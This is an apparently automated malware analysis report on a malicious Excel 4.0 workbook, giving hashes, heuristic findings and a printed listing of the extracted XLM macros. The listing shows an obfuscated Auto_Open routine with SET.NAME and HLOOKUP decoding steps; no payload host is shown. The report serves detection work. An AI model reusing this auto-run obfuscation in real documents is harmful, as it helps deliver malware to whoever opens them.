Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ded5738081c7a34…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:03 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 1cb46bd9e39e021d0102cb3ab76747a8 SHA-1: 42c31d898623560768238f946757c9efc00847ca SHA-256: 5ded5738081c7a34f3a4746e6d561feda0516b8cf1f88dc304baee2226d445d9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6749 bytes
SHA-256: 2a643f32873ce07a8848a0572b8f13306b52b9708a8aa863ce310e47f758d8c5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mNcK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H180 
' 0018     23 LABEL : Cell Value, String Constant - CErkonTs len=0 
' 0018     26 LABEL : Cell Value, String Constant - CgYmnfyVUyJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - cuHqQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - DepFTodFRiTO len=0 
' 0018     24 LABEL : Cell Value, String Constant - DhNXiFUsJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - evsCvNoNRT len=0 
' 0018     26 LABEL : Cell Value, String Constant - EYfyhqElthJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - GFsRrXHKwm len=0 
' 0018     25 LABEL : Cell Value, String Constant - HSWZPhtJNk len=0 
' 0018     21 LABEL : Cell Value, String Constant - itYoOt len=0 
' 0018     23 LABEL : Cell Value, String Constant - jqtJLKmG len=0 
' 0018     22 LABEL : Cell Value, String Constant - lhCpPKA len=0 
' 0018     23 LABEL : Cell Value, String Constant - ouwKcpaZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - ufDsUUNBQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - uIBXJtXHE len=0 
' 0018     21 LABEL : Cell Value, String Constant - wIcMue len=0 
' 0018     27 LABEL : Cell Value, String Constant - XLLJGMmTguMf len=0 
' 0018     26 LABEL : Cell Value, String Constant - xwrbtlhzPIS len=0 
' 0018     26 LABEL : Cell Value, String Constant - yoJrGhKWvue len=0 
' 0018     26 LABEL : Cell Value, String Constant - zfMcPIAZzkf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mNcK,H91,"SET.NAME("ouwKcpaZ",0+VALUE("0"))",""
'  mNcK,H94,"SET.NAME("CgYmnfyVUyJ",ouwKcpaZ)",""
'  mNcK,T96,"",510.00000000000000000000
'  mNcK,T97,"",-36.00000000000000000000
'  mNcK,T98,"",520.00000000000000000000
'  mNcK,H99,"SET.NAME("yoJrGhKWvue",ouwKcpaZ)",""
'  mNcK,T99,"",-110.00000000000000000000
'  mNcK,T100,"",-425.00000000000000000000
'  mNcK,H101,"SET.NAME("EYfyhqElthJ",COUNTA(cuHqQ))",""
'  mNcK,T101,"",-373.00000000000000000000
'  mNcK,H104,"SET.NAME("GFsRrXHKwm",COUNTA(DhNXiFUsJ))",""
'  mNcK,H106,[],""
'  mNcK,H108,"SET.NAME("DepFTodFRiTO","")",""
'  mNcK,H110,"CgYmnfyVUyJ",""
'  mNcK,H114,"SET.NAME("uIBXJtXHE",HLOOKUP("*",cuHqQ,CgYmnfyVUyJ,FALSE))",""
'  mNcK,H119,"HSWZPhtJNk",""
'  mNcK,H124,"SET.NAME("ufDsUUNBQ",ouwKcpaZ)",""
'  mNcK,H127,[],""
'  mNcK,H131,"ufDsUUNBQ",""
'  mNcK,H135,"xwrbtlhzPIS",""
'  mNcK,H139,"zfMcPIAZzkf",""
'  mNcK,H144,"CErkonTs",""
'  mNcK,H147,"SET.NAME("lhCpPKA",VALUE(HLOOKUP("*",DhNXiFUsJ,CErkonTs,FALSE)))",""
'  mNcK,H152,"itYoOt",""
'  mNcK,H154,"DepFTodFRiTO",""
'  mNcK,H156,"yoJrGhKWvue",""
'  mNcK,H160,NEXT(),""
'  mNcK,H165,"evsCvNoNRT",""
'  mNcK,H168,[],""
'  mNcK,H170,"XLLJGMmTguMf",""
'  mNcK,H175,NEXT(),""
'  mNcK,H177,RETURN(),""
'  mNcK,H202,"SET.NAME("jqtJLKmG",H91)",""
'  mNcK,H207,"cuHqQ",""
'  mNcK,H209,"SET.NAME("DhNXiFUsJ",R63C13)",""
'  mNcK,H213,"SET.NAME("XLLJGMmTguMf",222)",""
'  mNcK,H216,"SET.NAME("wIcMue",8)",""
'  mNcK,H221,jqtJLKmG(),""
'  mNcK,H222,HALT(),""

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